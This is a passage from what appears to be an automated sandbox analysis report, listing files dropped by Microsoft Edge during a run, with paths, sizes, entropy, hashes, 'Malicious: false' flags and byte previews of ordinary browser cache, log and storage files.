SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:NTUUXAyXl/lkV/lxEYcKnlKl:ivKkWBKnw
MD5:	F5DF5580260EEFAF9F9B46753AFB8A43
SHA1:	1589CD45B5AE7557A50B1E5BF30BC2E058600CA7
SHA-256:	B0E6A4FBD34EDA7233D65ECC2599F042D35B764C3EE2138871DE08CEEB83DC17
SHA-512:	53ECC7195687CC47CB4F08CFE37CEF21B7FC3972D1B846732499ECA7F344404AF24BD0670EC873481DE887EE8D7FEBE239753B1AF8B6F20FF26BD0CA367B0398
Malicious:	false
Preview:	@...x61.oy retne.........................X....,...................E./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:NTUUXAyXl/lkV/lxEYcKnlKl:ivKkWBKnw
MD5:	F5DF5580260EEFAF9F9B46753AFB8A43
SHA1:	1589CD45B5AE7557A50B1E5BF30BC2E058600CA7
SHA-256:	B0E6A4FBD34EDA7233D65ECC2599F042D35B764C3EE2138871DE08CEEB83DC17
SHA-512:	53ECC7195687CC47CB4F08CFE37CEF21B7FC3972D1B846732499ECA7F344404AF24BD0670EC873481DE887EE8D7FEBE239753B1AF8B6F20FF26BD0CA367B0398
Malicious:	false
Preview:	@...x61.oy retne.........................X....,...................E./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF423d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:NTUUXAyXl/lkV/lxEYcKnlKl:ivKkWBKnw
MD5:	F5DF5580260EEFAF9F9B46753AFB8A43
SHA1:	1589CD45B5AE7557A50B1E5BF30BC2E058600CA7
SHA-256:	B0E6A4FBD34EDA7233D65ECC2599F042D35B764C3EE2138871DE08CEEB83DC17
SHA-512:	53ECC7195687CC47CB4F08CFE37CEF21B7FC3972D1B846732499ECA7F344404AF24BD0670EC873481DE887EE8D7FEBE239753B1AF8B6F20FF26BD0CA367B0398
Malicious:	false
Preview:	@...x61.oy retne.........................X....,...................E./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5837
Entropy (8bit):	3.4172281146596712
Encrypted:	false
SSDEEP:	96:wDKBNGX9TocAuidpg169FZp+PaP+diAokIuR1VB5NLl9iSr/1NfRTvUg:wnEhu8M69Lp+oqiADJ/B5NLl9iSr/HfJ
MD5:	C1D127431161DD99A238E3C696321DDE
SHA1:	8DF0BDA606261ECA67FCC24779AB759E01CE8A1A
SHA-256:	CDA6FE107F17D1B6E4ACA71A74A44334D3B64B2A297DBEAB608EF843D563C14C
SHA-512:	1D44C521EEAC511BB582048C4FD288E70E4E9CEB230E55A42709211608EB6DBFE34B991D0DB00627136D8C372501FABCAB0AF045A0FED5576C2BDC50761EAA25
Malicious:	false
Preview:	...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................m.?b................next-map-id.1.Cnamespace-5a2a9a38_927a_42da_bb79_ff4b2f3603bc-https://ntp.msn.com/.0z..J.................map-0-shd_sweeper.{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.c.,.x.a.d.s.-.a.d.q.c.b.i.s.-.c.,.p.r.g.-.a.d.-.c.-.s.t.a.b.-.b.n.,.p.r.g.-.c.-.s.t.a.b.-.b.n.,.p.n.p.w.e.a.t.o.d.a.y.,.1.s.-.w.p.o.-.l.o.c.k.-.l.s.-.c.,.s.h.s.t.r.3.c.c.n.,.p.r.g.-.s.h.-.s.h.s.t.r.3.c.a.r.,.p.r.g.-.s.h.-.s.h.s.t.r.n.c.c.n.,.s.p.-.l.a.y.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.3.d.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.-.d.l.i.s.m.v.5.t.4.t.,.p.r.e.p.r.g.-.1.s.w.-.s.a.q.i.n.c.t.t.c.i.t.2.,.p.r.e.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.4.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.-.c.,.p.r.g.-.1.s.w.-.1.-.d.l.y.s.c.l.,.p.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.11334643912274
Encrypted:	false
SSDEEP:	6:65PeQq2PN723oH+TcwtrQMxIFUt8v5PcZmw+v5Pgo7kwON723oH+TcwtrQMFLJ:6ZvVaYebCFUt8vC/+vSo75OaYebtJ
MD5:	4E3DA6DE420430B7315D3E4689E991BC
SHA1:	14EF09718147F24AFECE36F2824E74399EC66A10
SHA-256:	71EBA05F61B4EF778D609EA2762366B8558851F9F13D85BB76FD29B68AC72FAB
SHA-512:	ADA4BA5F7C0891357D659A83A16DBF069AEF1CCC2E324F5F985C6529433C72E19BF3F6E63AE7D7EDEC478632E796B3BDD08656CECDE4C93DCDECF7BF585385EC
Malicious:	false
Preview:	2024/10/30-06:45:27.844 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-06:45:27.846 1ce0 Recovering log #3.2024/10/30-06:45:27.850 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.11334643912274
Encrypted:	false
SSDEEP:	6:65PeQq2PN723oH+TcwtrQMxIFUt8v5PcZmw+v5Pgo7kwON723oH+TcwtrQMFLJ:6ZvVaYebCFUt8vC/+vSo75OaYebtJ
MD5:	4E3DA6DE420430B7315D3E4689E991BC
SHA1:	14EF09718147F24AFECE36F2824E74399EC66A10
SHA-256:	71EBA05F61B4EF778D609EA2762366B8558851F9F13D85BB76FD29B68AC72FAB
SHA-512:	ADA4BA5F7C0891357D659A83A16DBF069AEF1CCC2E324F5F985C6529433C72E19BF3F6E63AE7D7EDEC478632E796B3BDD08656CECDE4C93DCDECF7BF585385EC
Malicious:	false
Preview:	2024/10/30-06:45:27.844 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-06:45:27.846 1ce0 Recovering log #3.2024/10/30-06:45:27.850 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374758729595368

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.779737394866035
Encrypted:	false
SSDEEP:	24:3QB5s75gPdapsAF4unxY9tLp3X2amEtG1Chq/OgQKkOAM45:3QE7yPdazFaLp2FEkChqOxHOp
MD5:	5D83D7CB035184C3BF01071782E8DB06
SHA1:	DE72A0F38DA9F72BC65925EB54F139F70064534E
SHA-256:	5C9575613B29C56F3F0EB361FE687B25BB3E084359E2848ACB69C2B2DA7E6D58
SHA-512:	2D8803F59BA760E3B035F88FC81FC045BB6F29CF168FB1711A01918BFF2E710D998375336AA7405101C25F19FA7CD9BD4729CB271E5B26688CB87F57330C0061
Malicious:	false
Preview:	SNSS.........-b.............-b......"..-b.............-b.........-b.........-b.........-b....!....-b.................................-b..-b1..,.....-b$...5a2a9a38_927a_42da_bb79_ff4b2f3603bc.....-b.........-b......$..........-b.....-b.........................-b....................5..0.....-b&...{46F3A197-DB49-410A-81B3-94975C835573}.......-b.........-b............................-b.............-b........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........s.f.%...s.f.%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1360251253458244
Encrypted:	false
SSDEEP:	6:653Fq2PN723oH+Tcwt7Uh2ghZIFUt8v55Zmw+v5NkwON723oH+Tcwt7Uh2gnLJ:6dFvVaYebIhHh2FUt8vv/+vf5OaYebIT
MD5:	796308148A9455373941F364D4781282
SHA1:	F70A10BE593F2D70CC8A90771B9FA6C86B10F5D2
SHA-256:	B0CDA41293CFFFD52D8948711DDCADFD431112F51AD15931541B04EBBFAED35F
SHA-512:	B506F01A842FA60C6F628F343F510D9A657B8FFBEAB96662872D4951D1D96867FE36F47D72CEAF5F3D0E494077E0C8B0FC822D327EBF2D445E2953DC794962F9
Malicious:	false
Preview:	2024/10/30-06:45:27.127 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-06:45:27.128 1b40 Recovering log #3.2024/10/30-06:45:27.131 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1360251253458244
Encrypted:	false
SSDEEP:	6:653Fq2PN723oH+Tcwt7Uh2ghZIFUt8v55Zmw+v5NkwON723oH+Tcwt7Uh2gnLJ:6dFvVaYebIhHh2FUt8vv/+vf5OaYebIT
MD5:	796308148A9455373941F364D4781282
SHA1:	F70A10BE593F2D70CC8A90771B9FA6C86B10F5D2
SHA-256:	B0CDA41293CFFFD52D8948711DDCADFD431112F51AD15931541B04EBBFAED35F
SHA-512:	B506F01A842FA60C6F628F343F510D9A657B8FFBEAB96662872D4951D1D96867FE36F47D72CEAF5F3D0E494077E0C8B0FC822D327EBF2D445E2953DC794962F9
Malicious:	false
Preview:	2024/10/30-06:45:27.127 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-06:45:27.128 1b40 Recovering log #3.2024/10/30-06:45:27.131 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.226158286708402
Encrypted:	false
SSDEEP:	12:6a4vVaYebvqBQFUt8vnJ/+viD5OaYebvqBvJ:IVaYebvZg8JOaYebvk
MD5:	70B346031A1390121047D1D02AEE130A
SHA1:	A85F9485A3531284D64DF8CE183E17FF508250DC
SHA-256:	80201F8D419BE1AC20E09266A13741DD0278FE3BA4F5C37FDEACD9D52270B3B8
SHA-512:	4A29E6044C0D0ED635930CED101716AC19F760DDE266D3B974CC685C8E757F93075F9AD0DED4B52A6295F56E168B577083ACEA739573302B921BC9AF02715DAA
Malicious:	false
Preview:	2024/10/30-06:45:28.193 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-06:45:28.222 1df4 Recovering log #3.2024/10/30-06:45:28.225 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.226158286708402
Encrypted:	false
SSDEEP:	12:6a4vVaYebvqBQFUt8vnJ/+viD5OaYebvqBvJ:IVaYebvZg8JOaYebvk
MD5:	70B346031A1390121047D1D02AEE130A
SHA1:	A85F9485A3531284D64DF8CE183E17FF508250DC
SHA-256:	80201F8D419BE1AC20E09266A13741DD0278FE3BA4F5C37FDEACD9D52270B3B8
SHA-512:	4A29E6044C0D0ED635930CED101716AC19F760DDE266D3B974CC685C8E757F93075F9AD0DED4B52A6295F56E168B577083ACEA739573302B921BC9AF02715DAA
Malicious:	false
Preview:	2024/10/30-06:45:28.193 1df4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-06:45:28.222 1df4 Recovering log #3.2024/10/30-06:45:28.225 1df4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\046f1c20-0c43-47a0-8b2c-ecd3ef955edd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1595a65e-15f5-4040-83ad-e9cd12e86f63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\313accbc-50a5-4915-9ecd-3a53ccc2954e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ba68.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ab667af1-2591-49bc-8472-f1ba657adcf1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.202669159462727
Encrypted:	false
SSDEEP:	12:6V0IvVaYebvqBZFUt8vVB/+vVX5OaYebvqBaJ:f6VaYebvyg8OOaYebvL
MD5:	05F69A46229BE1AD811FEBBA80FF002B
SHA1:	386AFE4A00BE05C40EFDA4B243D40ECDBD691F8A
SHA-256:	61955BE5DBA202D8C375DCC58D9FE8D74C68BAE47E7D7290C66F346EE6C29D69
SHA-512:	EB3EA13AC86A59590533BC3332967C092C6DF3F8BE8AB9F596E0C297341ED39F27B3FC0007D1D3AC914F6EAE0552B4E6F6C6D04BC16D8665CB4EB7AB6A6419E3
Malicious:	false
Preview:	2024/10/30-06:45:45.833 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-06:45:45.834 1ce0 Recovering log #3.2024/10/30-06:45:45.838 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.202669159462727
Encrypted:	false
